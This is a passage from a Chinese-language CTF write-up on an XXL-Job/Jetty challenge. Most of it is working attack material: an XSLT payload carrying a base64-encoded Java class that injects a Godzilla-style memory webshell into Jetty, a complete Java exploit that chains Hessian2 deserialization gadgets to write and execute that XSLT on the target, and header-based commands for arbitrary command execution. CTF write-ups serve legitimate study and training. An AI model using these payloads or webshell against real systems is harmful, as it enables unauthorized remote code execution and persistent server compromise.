select="b64:decodeBuffer(b64:new(),'yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFu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')"/> <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/> <xsl:variable name="rce" select="ru:defineClass('com.xxl.job.core.JettyGodzillaMemshell',$bs,$cl)"/> <xsl:value-of select="$rce"/> </xsl:template> </xsl:stylesheet>
|
这里一定要记得defineClass的类名要改啊,不然就报错了,一开始忘改了打了好久都没通😭,然后去前面试了一下api的未授权,也是没写对类名导致的😭浪费我好多时间
然后就是一把梭payload打一下
package org.clown.exp;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.*; import java.lang.reflect.Field; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths;
public class DasCTFEasyJob { public static byte[] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); }
public static Object Hessian2_Deserial(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; } public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = o.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(o, value); } public static void postExp(String url1,byte[] poc) throws Exception{ URL url = new URL(url1); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setRequestProperty("Content-Type", "application/octet-stream"); connection.setDoOutput(true); OutputStream outputStream = connection.getOutputStream(); outputStream.write(poc); int responseCode = connection.getResponseCode(); System.out.println("Response Code: " + responseCode); connection.disconnect(); }
public static void uploadXslt(String url, String xsltFilePath) throws Exception { PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))})); setField(pkcs9Attributes,"attributes",uiDefaults); byte[] data = Hessian2_Serial(pkcs9Attributes);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); postExp(url,poc); } public static void doAttack(String url) throws Exception { PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}})); setField(pkcs9Attributes,"attributes",uiDefaults); byte[] data = Hessian2_Serial(pkcs9Attributes);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); postExp(url,poc); }
public static void main(String[] args) throws Exception { String url="http://127.0.0.1:9999"; uploadXslt(url, "payload.xslt"); doAttack(url); } }
|
然后请求头x-fuck-data为cmd时就可以直接任意命令了
x-fuck-data: cmd cmd: ls /
|
想用哥斯拉去连接的,但是连不上不知道为什么
想试一下冰蝎马的,但是打进去连不上不知道为什么,不知道是不是和Handler的机制有关,Jetty这块还不太熟,有机会再研究
参考
https://www.cnblogs.com/ph4nt0mer/p/13913252.html
https://forum.butian.net/share/2592
https://xz.aliyun.com/t/13899
https://blog.csdn.net/2301_79724395/article/details/141229224
官方wp:https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/yleeg03c0ucdoac6?singleDoc#zB42G